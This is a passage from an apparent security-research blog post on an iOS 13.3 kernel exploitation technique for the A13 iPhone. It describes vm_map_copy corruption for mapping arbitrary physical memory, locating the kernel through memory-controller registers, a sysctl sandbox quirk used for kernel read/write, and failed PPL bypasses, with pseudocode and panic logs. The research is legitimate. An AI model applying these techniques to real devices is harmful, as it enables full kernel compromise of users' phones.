Analogously to how vm_map manages the state for the virtual mappings of an address space, the pmap struct manages the state for the physical mappings (i.e. page tables) of an address space. And according to the sources in osfmk/arm/pmap.c, no further validation is performed on the supplied physical page number before the translation table entry is added.\n\n** \n**\n\nThus, our corrupted vm_map_copy object actually gives us an incredibly powerful primitive: mapping arbitrary physical memory directly into our process in userspace!\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7V5rkshrnfbTmBPD3w8NwQINTXFYaCQzNxp_AGiANFp7It_usJgZ3fCMO-xQkwfI_xnNsxRFnndANpiKyk16AKWG_5hgFYfKXZknEFfsZxPW1jsBMcZv4rex5nBSFvAm2s5wlWMgxzfBKRHRedqWaTGnQ301s75317IZ65qAPrmQs9ger_6wzbfC8/s2048/image14%282%29.png>)\n\n## An old friend\n\nI decided to build the POC for the vm_map_copy physical memory mapping technique on top of the kernel read/write primitive provided by the [oob_timestamp exploit](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1986>) for iOS 13.3. There were two primary reasons for this.\n\n** \n**\n\nFirst, I did not have a good bug available to develop a complete exploit with it. Even though I had initially stumbled upon the idea while trying to exploit the oob_timestamp bug, it quickly became apparent that that bug wasn't a good fit for this technique.\n\n** \n**\n\nSecond, I wanted to evaluate the technique independently of the vulnerability or vulnerabilities used to achieve it. It seemed that there was a good chance that the technique could be made deterministic (that is, without a failure case); implementing it on top of an unreliable vulnerability would make it hard to evaluate separately.\n\n** \n**\n\nThis technique most naturally fits a controlled one-byte linear heap overflow in any of the allocator zones kalloc.80 through kalloc.32768 (i.e., general-purpose allocations of between 65 and 32768 bytes). For ease of reference in the rest of this post, I'll simply call it the one-byte exploit technique.\n\n## Leaving the Shire\n\nWe've already laid out the bones of the technique above: create a vm_map_copy of type KERNEL_BUFFER containing a pointer to a fake vm_map_entry list, corrupt the type to ENTRY_LIST, receive it with vm_map_copyout_internal(), and get arbitrary physical memory mapped into our address space. However, successful exploitation is a little bit more complicated:\n\n** \n**\n\n 1. We still have not addressed where this fake vm_map_entry/vm_object/vm_page hierarchy will be constructed. \n\n\n 2. We need to ensure that the kernel thread that calls vm_map_copyout_internal() does not crash, panic, or deadlock after mapping the physical page.\n\n** \n**\n\n 3. Mapping one physical page is great, but probably not sufficient by itself to achieve arbitrary kernel read/write. This is because:\n\n** \n**\n\n 1. The kernelcache's exact load address in physical memory is unknown, so we cannot map any specific page of it directly without locating it first. \n\n\n 2. It is possible that some hardware device exposes an MMIO interface that is powerful enough by itself to build some sort of read/write primitive; however, I'm not aware of any such component.\n\n \nThus, we will need to map more than one physical address, and most likely we will need to use data read from one mapping to find the physical address to use for another. This means our mapping primitive can not be one-shot.\n\n** \n**\n\n 4. The call to vm_map_copy_insert() after the for loop tries to zfree() the vm_map_copy to the vm_map_copy_zone. This will panic given a vm_map_copy originally of type KERNEL_BUFFER, since KERNEL_BUFFER objects are initially allocated using kalloc(). \n \nThus, the only way to safely break out of the for loop and resume normal operation is to first get kernel read/write and then patch up state in the kernel to prevent this panic.\n\n** \n**\n\nThese constraints will guide the course of this exploit technique.\n\n## A short cut to PAN\n\nAn important prerequisite for the one-byte technique is to create a fake vm_map_entry object hierarchy at a known address. Since we are already building this POC on oob_timestamp, I decided to leverage a neat trick I picked up while exploiting that bug. In the real world, another vulnerability in addition to the one-byte overflow might be needed to leak a kernel address.\n\n** \n**\n\nWhile developing the POC for oob_timestamp, I learned that the AGXAccelerator kernel extension provides a very interesting primitive: IOAccelSharedUserClient2 and IOAccelCommandQueue2 together allow the creation of large regions of pageable memory shared between userspace and the kernel. Having access to user/kernel shared memory can be extremely helpful when developing exploits, since you can place fake kernel data structures there and manipulate them while the kernel accesses them. Of course, this AGXAccelerator primitive is not the only way to get kernel/user shared memory; the physmap, for example, also maps most of DRAM into virtual memory, so it can also be used to reflect userspace memory contents into the kernel. However, the AGXAccelerator primitive is often much more convenient in practice: for one, it provides a very large contiguous shared memory region in a much more constrained address range; and for two, it's easier to leak addresses of adjacent objects to locate it.\n\n** \n**\n\nNow, before the iPhone 7, iOS devices did not support the Privileged Access Never (PAN) security feature. This meant that all of userspace was effectively shared memory with the kernel, and you could just overwrite pointers in the kernel to point to fake data structures in userspace.\n\n** \n**\n\nHowever, modern iOS devices enable PAN, so attempts by the kernel to directly access userspace memory will fault. This is what makes the existence of the AGXAccelerator shared memory primitive so useful: if you can establish a large shared memory region and learn its address in the kernel, that's basically equivalent to having PAN turned off.\n\n** \n**\n\nOf course, a key part of that sentence is \"and learn its address in the kernel\"; doing that usually requires a vulnerability and some effort. Instead, as we already rely on oob_timestamp, we will simply hardcode the shared memory address and note that finding the address dynamically is left as an exercise for the reader.\n\n## At the sign of the panicking POC\n\nWith kernel read/write and a user/kernel shared memory buffer in hand, we are ready to write the POC. The overall flow of the exploit is essentially what was outlined above.\n\n** \n**\n\nWe start by creating the shared memory region in the kernel.\n\n** \n**\n\nWe initialize a fake vm_map_entry list inside the shared memory. The entry list contains 3 entries: a \"ready\" entry, a \"mapping\" entry, and a \"done\" entry. Together these entries will represent the current state of each mapping operation.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1H0c6glw9tH5PEjWjBe-p71pVmeuQrWZPSEqO2U3Krzm24JLTlDW0y5_4KoxbiYl_djfYM9jZoURt9-RUklkcXTfkJXpyDImoiDY1CytjiiXGvKGDu-pxpsuPdNOI4Ey39gTfmHidEZm5o32JjD6TSRgOnggI3Go18-7yDRFZLnz1dsfmZW4hIGs3/s2048/image11%282%29.png>)\n\nWe send an out-of-line memory descriptor containing a fake vm_map_header in a Mach message to a holding port. The out-of-line memory is stored in the kernel as a vm_map_copy object of type KERNEL_BUFFER (value 3).\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7pCtRg0KNQIeG5ppkHHGnEOExjNqqrtbJl6RNTP7--wJTpzvVfCezux_jw6EtgPvFnO57qhfdIng5IzIhOPHMCe-U-0aYETaKAdgLZmkcJrJz1cuMAmqr-qsxxLrVWV98S3Nt4udYHIcKYCuSyK4bpAMRAtRGf17GBH7JfXXNWIDI-W8iHAQb5-wO/s2048/image13%282%29.png>)\n\nWe simulate a one-byte linear heap overflow that corrupts the type field of the vm_map_copy, changing it to ENTRY_LIST (value 1).\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-f4zY8QWcMQTxn-gQkIdgd0oZUs9Vyw9v7uHc7yDtOs6k7qIOrTZC0DqR_Ul6zrkYKi6XHaHg-IPXVx_AlhjG2_i4xIHs-rerbSQUYbu6DAC3BiZCSvXL4n1vuyPkcw7cyv1YRZvO9NQvxLKRKOUwx27EBrOHDMa-HyugCWmzf_O5TErkB3Qz7UPp/s2048/image12%284%29.png>)\n\nWe start a thread that receives the Mach message queued on the holding port. This triggers a call to vm_map_copyout_internal() on the corrupted vm_map_copy.\n\n** \n**\n\nDue to the way the vm_map_entry list was initially configured, the vm_map_copyout thread will spin in an infinite loop on the \"done\" entry, ready for us to manipulate it.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfVRvgcj8zAqsqTGIYzoUfT1ge2SJoXEIjj4Hi1thE4NFbblKxlLR9hLIsC4zlGihPehrJ_3W22xVn4bpdVpmfP7PiOGppaYSqfPn8XFr_Qdt6Fs6IoyhRiDvT8iBgy2SKVNBw7indGsWI5KPUIIFcpSxQixfBnRX0B08jINNtjy9H8bbkpmA0NlRI/s2048/image19.png>)\n\nAt this point, we have a kernel thread that is spinning ready to map any physical page we request.\n\n** \n**\n\nTo map a page, we first set the \"ready\" entry to link to itself, and then set the \"done\" entry to link to the \"ready\" entry. This will cause the vm_map_copyout thread to spin on \"ready\".\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjg4tDbHNrwUdCT0uJ7VJXh9MW99sLSSaEhpD7u5RWfCWuzDXDI263VtPzEMc7ykqePrmH43Sim_ry4s7pF6oa-0xqMPn39fNoBDmPCcxuqtzu4U--un9Ev3CrSdDSe0EtwGFqD_Z-x4jq-HX4yLPr1y3Y2SZe477Ky_kf_Ar5jFWMAW0k0hoj5WKA9/s2048/image17.png>)\n\nWhile spinning on \"ready\", we mark the \"mapping\" entry as wired with a single physical page and link it to the \"done\" entry, which we link to itself. We also populate the fake vm_object and vm_page to map the desired physical page number.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVlSHs3ubRRm_UuT99Vpitk54Y7C-8CXXJJKFQ5FiNwsbaFC-hYhhlp60phZgforce2YD1DZNj8DcOwe0SLZs42a0G6nYwuKxL1528n5mwZG99FRfU7Oqxe9t7BuHZIb2TeQsjjxtcmJb1ABMfWIYO43SaLuydq-ca-4R0fOgbxytiFAIUh7SDvSLq/s2048/image9%282%29.png>)\n\nThen, we can perform the mapping by linking the \"ready\" entry to the \"mapping\" entry. vm_map_copyout_internal() will map in the page and then spin on the \"done\" entry, signaling completion.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihZ_dYhxyY1JXhR-a34VIqPSE8SIITXa6PftIv97sp3zVG7au1ziLhZhs1xqJQjlCAUXsGUCQcE-1aQSdamdUmfp8eL357O8Rs_aTbcGpfJVMTP_ri_FuXCZIbt3y6sejyK8uYiVa5uRbS_TnN8QTYiOJFrVscA6WAyPCxzH1zlHRES8hJ8SPyUeZ4/s2048/image16.png>)\n\nThis gives us a reusable primitive that maps arbitrary physical addresses into our process. As an initial proof of concept, I mapped the non-existent physical address 0x414140000 and tried to read from it, triggering an LLC bus error from EL0:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivkV5_CX52BEWaHNfvilIwiOpYddBua-OsNgebO4T5f5Eyp2p4_Y-4-Ap3u0EllJdPHhImppge6hE4GOXm6MHmzY0VrHqGcHKPD91H62uU0IzaH6uLIWU1mFBxp10JSTANapaCWtTrSXdSOU-du5EO8sqTd81kobHDWzapiEue_7Tc60eg8S2kvX2z/s1335/image20.png>) The mines of memory\n\nAt this point we have proved that the mapping primitive is sound, but we still don't know what to do with it.\n\n** \n**\n\nMy first thought was that the easiest approach would be to go after the kernelcache image in memory. Note that on modern iPhones, even with a direct physical read/write primitive, [KTRR](<https://googleprojectzero.blogspot.com/2019/10/ktrw-journey-to-build-debuggable-iphone.html>) prevents us from modifying the locked down portions of the kernel image, so we can't just patch the kernel's executable code. However, certain segments of the kernelcache image remain writable at runtime, including the part of the __DATA segment that contains sysctls. Since sysctls have been (ab)used before to build read/write primitives, this felt like a stable path forward.\n\n** \n**\n\nThe challenge was then to use the mapping primitive to locate the kernelcache in physical memory, so that the sysctl structs could then be mapped into userspace and modified.\n\n** \n**\n\nBut first, before we figure out how to locate the kernelcache, some background on physical memory on the iPhone 11 Pro.\n\n** \n**\n\nThe iPhone 11 Pro has 4 GB of DRAM based at physical address 0x800000000, so physical DRAM addresses span 0x800000000 to 0x900000000. Of this, the range 0x801b80000 to 0x8ec9b4000 is reserved for the Application Processor (AP), the main processor of the phone which runs the XNU kernel and applications. Memory outside this region is reserved for coprocessors like the Always On Processor (AOP), Apple Neural Engine (ANE), SIO (possibly Apple SmartIO), AVE, ISP, IOP, etc. The addresses of these and other regions can be found by parsing the [devicetree](<https://gist.github.com/bazad/1faef1a6fe396b820a43170b43e38be1>) or by dumping the iboot-handoff region at the start of DRAM.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi87qIGmCuil88DdqsYcHjl2qWbeJSeiD8gyPO0vuylr7OR4RDvVLvIXDn9vxdezz5KIWelkQgB5H31tgSOjtBVSGyh90u5xQbTO7vAqN1a233AaTyfGwzBf2C1PSisuhzdC6JN0MOtBkeQ-rO_aQcyf-uQaQ5r8ozxTznKGHqlO5Jc-3kze6PqwUYY/s2500/image4%284%29.png>)\n\nAt boot time, the kernelcache is loaded contiguously into physical memory, which means that finding a single kernelcache page is sufficient to locate the whole image. Also, while KASLR may slide the kernelcache by a large amount in virtual memory, the load address in physical memory is quite constrained: in my testing, the kernel header was always loaded at an address between 0x805000000 and 0x807000000, a range of just 32 MB.\n\n** \n**\n\nAs it turns out, this range is smaller than the kernelcache itself at 0x23d4000 bytes, or 35.8 MB. Thus, we can be certain at runtime that address 0x807000000 contains a kernelcache page.\n\n** \n**\n\nHowever, I quickly ran into panics when trying to map the kernelcache:\n\n** \n**\n\npanic(cpu 4 caller 0xfffffff0156f0c98): \"pmap_enter_options_internal: page belongs to PPL, \" \"pmap=0xfffffff031a581d0, v=0x3bb844000, pn=2103160, prot=0x3, fault_type=0x3, flags=0x0, wired=1, options=0x1\"\n\n** \n**\n\nThis panic string purports to come from the function pmap_enter_options_internal(), which is in the open-source part of XNU (osfmk/arm/pmap.c), and yet the panic is not present in the sources. Thus, I reversed the version of pmap_enter_options_internal() in the kernelcache to figure out what was happening.\n\n** \n**\n\nThe issue, I learned, is that the specific page I was trying to map was part of Apple's [Page Protection Layer](<https://support.apple.com/guide/security/page-protection-layer-sec38dc659b4/web>) (PPL), a portion of the XNU kernel that manages page tables and that is considered even more privileged than the rest of the kernel. The goal of PPL is to prevent an attacker from modifying protected pages (in particular, executable code pages for codesigned binaries) even after compromising the kernel to obtain a read/write capability.\n\n** \n**\n\nIn order to enforce that protected pages cannot be modified, PPL must protect page tables and page table metadata. Thus, when I tried to map a PPL-protected page into userspace, it triggered a panic.\n\n** \n**\n\nif (pa_test_bits(pa, 0x4000 /* PP_ATTR_PPL? */)) {\n\npanic(\"%s: page belongs to PPL, \" ...);\n\n}\n\n** \n**\n\nif (pvh_get_flags(pai_to_pvh(pai)) & PVH_FLAG_LOCKDOWN) {\n\npanic(\"%s: page locked down, \" ...);\n\n}\n\n** \n**\n\nThe presence of PPL significantly complicates use of the physical mapping primitive, since trying to map a PPL-protected page will panic. And the kernelcache itself contains many PPL-protected pages, splitting the contiguous 35 MB binary into smaller PPL-free chunks that no longer bridge the physical slide of the kernelcache. Thus, there is no longer a single physical address we can (safely) map that is guaranteed to be a kernelcache page.\n\n** \n**\n\nAnd the rest of the AP's DRAM region is an equally treacherous minefield. Physical pages are grabbed for use by PPL and returned to the kernel as-needed, and so at runtime PPL pages are scattered throughout physical memory like mines. Thus, there is no static address anywhere that is guaranteed not to blow up.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8pyg_rwZv_sdIM1QTOCQ9jGD4oNpYxNXmlEQi4YPL7MPs45adPo901Fu94DHMQdDC8Iw0orEL0fqwvbHgnZF2PsjA5pO58xmeZzCbjCm90PFmZV1_ZyxvMlSk1EU0SLfpWZ5uqIF1jxZRdNwZA6HcNLgNODPbcIDKz78EOd3mTf6gMJyu7jOdXFe3/s1024/image3.gif>) A map showing the protection flags on every page of AP DRAM on the A13 over time. Yellow is PPL+LOCKDOWN, red is PPL, green is LOCKDOWN, and blue is unguarded (i.e., mappable).\n\n \n\n\nII - The Two Techniques\n\n## The road to DRAM's guard\n\nYet, that's not quite true. The Application Processor's DRAM region might be a minefield, but anything outside of it is not. That includes the DRAM used by coprocessors and also any other addressable components of the system, such as hardware registers for system components that are typically accessed via memory-mapped I/O ([MMIO](<https://en.wikipedia.org/wiki/Memory-mapped_I/O>)).\n\n** \n**\n\nWith such a powerful primitive, I expect that there are a plethora of techniques that could be used to build a read/write primitive. And I expect that there are many clever things that could be done by leveraging direct access to special hardware registers and coprocessors. Unfortunately, this is not an area with which I'm very familiar, so I'll just describe one (failed) attempt to bypass PPL here.\n\n** \n**\n\nThe idea I had was to take control of some coprocessor and use execution on both the coprocessor and the AP together to attack the kernel. First, we use the physical mapping primitive to modify the part of DRAM storing data for a coprocessor in order to get code execution on that coprocessor. Next, back on the main processor, we use the mapping primitive a second time to map and disable the coprocessor's Device Address Resolution Table, or [DART](<https://developer.apple.com/library/archive/documentation/Darwin/Conceptual/KernelProgramming/vm/vm.html>) (basically an [IOMMU](<https://en.wikipedia.org/wiki/Input%E2%80%93output_memory_management_unit>)). With code execution on the coprocessor and the corresponding DART disabled, we have direct unguarded access from the coprocessor to physical memory, allowing us to completely sidestep the protections of PPL (which are only enforced from the AP).\n\n** \n**\n\nHowever, whenever I tried to modify certain regions of DRAM used by coprocessors, I would get kernel panics. In particular, the region 0x800000000 \\- 0x801564000 appeared to be readonly:\n\n** \n**\n\npanic(cpu 5 caller 0xfffffff0189fc598): \"LLC Bus error from cpu1: FAR=0x16f507f10 LLC_ERR_STS/ADR/INF=0x11000ffc00000080/0x214000800000000/0x1 addr=0x800000000 cmd=0x14(acc_cifl2c_cmd_ncwr)\"\n\n** \n**\n\npanic(cpu 5 caller 0xfffffff020ca4598): \"LLC Bus error from cpu1: FAR=0x15f03c000 LLC_ERR_STS/ADR/INF=0x11000ffc00000080/0x214030800104000/0x1 addr=0x800104000 cmd=0x14(acc_cifl2c_cmd_ncwr)\"\n\n** \n**\n\npanic(cpu 5 caller 0xfffffff02997c598): \"LLC Bus error from cpu1: FAR=0x10a024000 LLC_ERR_STS/ADR/INF=0x11000ffc00000082/0x21400080154c000/0x1 addr=0x80154c000 cmd=0x14(acc_cifl2c_cmd_ncwr)\"\n\n** \n**\n\nThis was very weird: these addresses are outside of the KTRR lockdown region, so nothing should be able to block writing to this part of DRAM with a physical mapping primitive! Thus, there must be some other undocumented lockdown enforced on this physical range.\n\n** \n**\n\nOn the other hand, the region 0x801564000 \\- 0x801b80000 remains writable as expected, and writing to different areas in this region produces odd system behaviors, supporting the theory that this is corrupting data used by coprocessors. For example, writing to some areas would cause the camera and flashlight to become unresponsive, while writing to other areas would cause the phone to panic when the mute slider was switched on.\n\n** \n**\n\nTo get a better sense of what might be happening, I identified the regions in this range by examining the [devicetree](<https://gist.github.com/bazad/1faef1a6fe396b820a43170b43e38be1>) and dumping memory. In the end, I discovered the following layout of coprocessor firmware segments in the range 0x800000000 \\- 0x801b80000:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNhe9He0AH_WGgSy1xUUJVdUcUi32Vhg8J3dY8NwIch3ZjpOW_R6_9-GD1BanEXBEao0bbyuqPlsDWpUhYIHdIxr5bdOccIfIOMHcvY5Md3--GcnDQ6K9t6ujoTQfjdJ6wov2T_Eq8frwJFjNlqSt4SHCZJBDlcVenKxSPjEQZzAZUctoFiapeu3tU/s2500/image7%282%29.png>)\n\nThus, the regions that are locked down are all __TEXT segments of coprocessor firmwares; this strongly suggests that Apple has added a new mitigation to make coprocessor __TEXT segments read-only in physical memory, similar to KTRR on the AMCC (probably Apple's [memory controller](<https://en.wikipedia.org/wiki/Memory_controller>)) but for coprocessor firmwares instead of just the AP kernel. This might be the undocumented CTRR mitigation referenced in the originally published xnu-6153.41.3 sources that appears to be an enhanced replacement for KTRR on A12 and up; Ian Beer suggested CTRR might stand for Coprocessor Text Readonly Region.\n\n** \n**\n\nNevertheless, code execution on these coprocessors should still be viable: just as KTRR does not prevent exploitation on the AP, the coprocessor __TEXT lockdown mitigation does not prevent exploitation on coprocessors. So, even though this mitigation makes things more difficult, at this point our plan of disabling a DART and using code execution on the coprocessor to write to a PPL-protected physical address should still work.\n\n## The voice of PPL\n\nWhat did turn out to be a roadblock however was the DART/IOMMU lockdown enforced by PPL on the Application Processor. At boot, XNU parses the \"pmap-io-ranges\" property in the devicetree to populate the io_attr_table array, which stores page attributes for certain physical I/O addresses. Then, when trying to map the physical address, pmap_enter_options_internal() checks the attributes to see if certain mappings should be disallowed:\n\n** \n**\n\nwimg_bits = pmap_cache_attributes(pn); // checks io_attr_table\n\nif ( flags )\n\nwimg_bits = wimg_bits & 0xFFFFFF00 | (u8)flags;\n\npte |= wimg_to_pte(wimg_bits);\n\nif ( wimg_bits & 0x4000 )\n\n{\n\nxprr_perm = (pte >> 4) & 0xC | (pte >> 53) & 1 | (pte >> 53) & 2;\n\nif ( xprr_perm == 0xB )\n\npte_perm_bits = 0x20000000000080LL;\n\nelse if ( xprr_perm == 3 )\n\npte_perm_bits = 0x20000000000000LL;\n\nelse\n\npanic(\"Unsupported xPRR perm ...\");\n\npte = pte_perm_bits | pte & ~0x600000000000C0uLL;\n\n}\n\npmap_enter_pte(pmap, pte_p, pte, vaddr);\n\n** \n**\n\nThus, we can only map the DART's I/O address into our process if bit 0x4000 is clear in the wimg field. Unfortunately, a quick look at the \"pmap-io-ranges\" property in the devicetree confirmed that bit 0x4000 was set for every DART:\n\n** \n**\n\naddr len wimg signature\n\n0x620000000, 0x40000000, 0x27, 'PCIe'\n\n0x2412C0000, 0x4000, 0x4007, 'DART' ; dart-sep\n\n0x235004000, 0x4000, 0x4007, 'DART' ; dart-sio\n\n0x24AC00000, 0x4000, 0x4007, 'DART' ; dart-aop\n\n0x23B300000, 0x4000, 0x4007, 'DART' ; dart-pmp\n\n0x239024000, 0x4000, 0x4007, 'DART' ; dart-usb\n\n0x239028000, 0x4000, 0x4007, 'DART' ; dart-usb\n\n0x267030000, 0x4000, 0x4007, 'DART' ; dart-ave\n\n...\n\n0x8FC3B4000, 0x4000, 0x40004016, 'GUAT' ; sgx.gfx-handoff-base\n\n** \n**\n\nThus, we cannot map the DART into userspace to disable it.\n\n## The palant\u00edr\n\nEven though PPL prevents us from mapping page tables and DART I/O addresses, the physical I/O addresses for other hardware components are still mappable. Thus, it is still possible to map and read some system component's hardware registers to try and locate the kernel.\n\n** \n**\n\nMy initial attempt was to read from IORVBAR, the Reset Vector Base Address Register accessible via MMIO. The reset vector is the first piece of code that executes on a CPU after it resets; thus, reading IORVBAR would give us the physical address of XNU's reset vector, which would pinpoint the kernelcache in physical memory.\n\n** \n**\n\nIORVBAR is mapped at offset 0x40000 after the \"reg-private\" address for each CPU in the devicetree; for example, on A13 CPU 0 it is located at physical address 0x210050000. It is part of the same group of register sets containing CoreSight and DBGWRAP that had been previously used to [bypass KTRR](<https://googleprojectzero.blogspot.com/2019/10/ktrw-journey-to-build-debuggable-iphone.html>). However, I found that IORVBAR is not accessible on A13: trying to read from it will panic.\n\n** \n**\n\nI spent some time searching the A13 SecureROM for interesting physical addresses before Jann Horn suggested that I map the KTRR lockdown registers on the AMCC, Apple's memory controller. These registers store the physical memory bounds of the KTRR region in order to enforce the KTRR readonly region against attacks from coprocessors.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyi9x2mdvcyv3b7NrakqXlN321oH6ZqzF865Xmd8q5WezhIN78W0satGZ2GFV1G9XreRgk0k1hDqlMXRdEO6GHqARWhd-1M4h_jbeK9jb8dFWy_4Iqd1oQmyXGfbwnIIss5Ek6g8Rv_EeYwcuc_mrkLkI0kb5RaA8dim62woOqbsyEBOr6fZHeSf_D/s2048/image8%282%29.png>)\n\nMapping and reading the AMCC's RORGNBASEADDR register at physical address 0x200000680 worked like a charm, yielding the start address of the lockdown region containing the kernelcache in physical memory. Using security mitigations to break other security mitigations is fun. :)\n\n## The back gate is closed\n\nAfter finding a definitive way forward using AMCC, I looked at one last possibility before giving up on bypassing PPL.\n\n** \n**\n\niOS is configured with 40-bit physical addresses and 16K pages (14 bits). Meanwhile, the arbitrary physical page number passed to pmap_enter_options_internal() is 32 bits, and is shifted by 14 and masked with 0xFFFF_FFFF_C000 when inserted into the level 3 translation table entry (L3 TTE). This means that we could control bits 45 - 14 of the TTE, even though bits 45 - 40 should always be zero based on the physical address size programmed in TCR_EL1.IPS.\n\n** \n**\n\nIf the hardware ignored the bits beyond the maximum supported physical address size, then we could bypass PPL by supplying a physical page number that exactly matches the DART I/O address or page table page, but with one of the high bits set. Having the high bits set would cause the mapped address to fail to match any of the addresses in \"pmap-io-ranges\", even though the TTE would map the same physical address. This would be neat as it would allow us to bypass PPL as a precursor to kernel read/write/execute, rather than the other way around.\n\n** \n**\n\nUnfortunately, it turns out that the hardware does in fact check that TTE bits beyond the supported physical address size are zero. Thus, I went forward with the AMCC trick to locate the kernelcache instead.\n\n## The taming of sysctl\n\nAt this point, we have a physical read/write primitive for non-PPL physical addresses, and we know the address of the kernelcache in physical memory. The next step is to build a virtual read/write primitive.\n\n** \n**\n\nI decided to stick with known techniques for this part: using the fact that the sysctl_oid tree used by the sysctl() syscall is stored in writable memory in the kernelcache to manipulate it and convert benign sysctls allowed by the app sandbox into kernel read/write primitives.\n\n** \n**\n\nXNU inherited [sysctls](<https://en.wikipedia.org/wiki/Sysctl>) from FreeBSD; they provide access to certain kernel variables to userspace. For example, the \"hw.l1dcachesize\" readonly sysctl allows a process to determine the L1 data cache line size, while the \"kern.securelevel\" read/write sysctl controls the \"system security level\" used for some operations in the BSD portion of the kernel.\n\n** \n**\n\nThe sysctls are organized into a tree hierarchy, with each node in the tree represented by a sysctl_oid struct. Building a kernel read primitive is as simple as mapping the sysctl_oid struct for some sysctl that is readable in the app sandbox and changing the target variable pointer (oid_arg1) to point to the virtual address we want to read. Invoking the sysctl then reads that address.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWb-g2F89QP9lG5a5DmBi1A499B062csL24XTw-mmf_3m1kJUiLt2BxT6UxP_Z2hd094GUm2qO0nTjzoX-Gx-voz-6WjawQOIVP0f0WmOG8is3OVLc1eLn9sO8F-zZzXLjapmW33zn8OvjBxgwmWv9H7j1lvOmK0-E9GZlsEIPhu5fbJBraMlkfvaI/s1700/image1%289%29.png>)\n\nUsing sysctls to build a write primitive is a bit more complicated, since no sysctls are listed as writable in the container sandbox profile. The [ziVA](<https://github.com/doadam/ziVA>) exploit for iOS 10.3.1 worked around this by changing the oid_handler field of the sysctl to call copyin(). However, on PAC-enabled devices like the A13, oid_handler is protected with a PAC, meaning that we cannot change its value.\n\n** \n**\n\nHowever, when disassembling the function hook_system_check_sysctlbyname() that implements the sandbox check for the sysctl() system call, I noticed an interesting undocumented behavior:\n\n** \n**\n\n// Sandbox check sysctl-read\n\nret = sb_evaluate(sandbox, 116u, &context);\n\nif ( !ret )\n\n{\n\n// Sandbox check sysctl-write\n\nif ( newlen | newptr && (namelen != 2 || name[0] != 0 || name[1] != 3) )\n\nret = sb_evaluate(sandbox, 117u, &context);\n\nelse\n\nret = 0;\n\n}\n\n** \n**\n\nFor some reason, if the sysctl node is deemed readable inside the sandbox, then the write check is not performed on the specific sysctl node { 0, 3 }! What this means is that { 0, 3 } will be writable in every sandbox from which it is readable, regardless of whether or not the sandbox profile allows writes to that sysctl.\n\n** \n**\n\nAs it turns out, the name of the sysctl { 0, 3 } is \"sysctl.name2mib\", which is a writable sysctl used to convert the string-name of a sysctl into the numeric form, which is faster to look up. It is used to implement sysctlnametomib(). So it makes sense that this sysctl should usually be writable.\n\n** \n**\n\nThe upshot is that even though there are no writable sysctls specified in the sandbox profile, sysctl { 0, 3 } is in fact writable anyways, allowing us to build a virtual write primitive alongside our read primitive. Thus, we now have full arbitrary kernel read/write.\n\n# III - The Return of the Copyout\n\n## The battle of pmap fields\n\nWe have come far, but the journey is not yet done: we must break the ring. As things stand, vm_map_copyout_internal() is spinning in an infinite loop on the \"done\" vm_map_entry, whose vme_next pointer points to itself. We must guide the safe return of this function to preserve the stability of the system.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiU6OARjVlshCCPu6kTjJ3-3Vc-ZOP6j_orz8lVkL5oa5B-s4dTyVK4a0LZbGKpwz8wDqX9KV-fKV3Q-jpXuJtyYiGcgVyAov7n8TsLukDc1CnYZe8Cnsv3B4_DgVZq9YOfh82zxg3QxXN5r02g8Bl5RXR3CL3tXmrqjV_vc1ptsIU0WtDY7LG_Qy45/s2048/image10%282%29.png>)\n\nThere are two basic issues preventing this. First, because we've inserted entries into our page tables at the pmap layer without creating corresponding virtual entries at the vm_map layer, there is currently an accounting conflict between the pmap and vm_map views of our address space. This will cause a panic on process exit if not addressed. Second, once the loop is broken, vm_map_copyout_internal() has a call to vm_map_copy_insert() that will panic trying to free the corrupted vm_map_copy to the wrong zone.\n\n** \n**\n\nWe will address the pmap/vm_map conflict first.\n\n** \n**\n\nSuppose for the moment that we were able to break out of the for loop and allow vm_map_copyout_internal() to return. The call to vm_map_copy_insert() that occurs after the for loop walks through all the entries in the vm_map_copy, unlinks them from the vm_map_copy's entry list, and links them into the vm_map's entry list instead.\n\n** \n**\n\nstatic void\n\nvm_map_copy_insert(\n\nvm_map_t map,\n\nvm_map_entry_t after_where,\n\nvm_map_copy_t copy)\n\n{\n\nvm_map_entry_t entry;\n\n** \n**\n\nwhile (vm_map_copy_first_entry(copy) !=\n\nvm_map_copy_to_entry(copy)) {\n\nentry = vm_map_copy_first_entry(copy);\n\nvm_map_copy_entry_unlink(copy, entry);\n\nvm_map_store_entry_link(map, after_where, entry,\n\nVM_MAP_KERNEL_FLAGS_NONE);\n\nafter_where = entry;\n\n}\n\nzfree(vm_map_copy_zone, copy);\n\n}\n\n** \n**\n\nSince the vm_map_copy's vm_map_entrys are all fake objects residing in shared memory, we really do not want them linked into our vm_map's entry list, where they will be freed on process exit. The simplest solution is thus to update the corrupted vm_map_copy's entry list so that it appears to be empty.\n\n** \n**\n\nForcing the vm_map_copy's entry list to appear empty certainly lets us safely return from vm_map_copyout_internal(), but we would nevertheless still get a panic once our process exits:\n\n** \n**\n\npanic(cpu 3 caller 0xfffffff01f4b1c50): \"pmap_tte_deallocate(): pmap=0xfffffff06cd8fd10 ttep=0xfffffff0a90d0408 ptd=0xfffffff132fc3ca0 refcnt=0x2 \\n\"\n\n** \n**\n\nThe issue is that during the course of the exploit, our mapping primitive forces pmap_enter_options() to insert level 3 translation table entries (L3 TTEs) into our process's page tables, but the corresponding accounting at the vm_map layer never happens. This disagreement between the pmap and vm_map views matters because the pmap layer requires that all physical mappings be explicitly removed before the pmap can be destroyed, and the vm_map layer will not know to remove a physical mapping if there is no vm_map_entry describing the 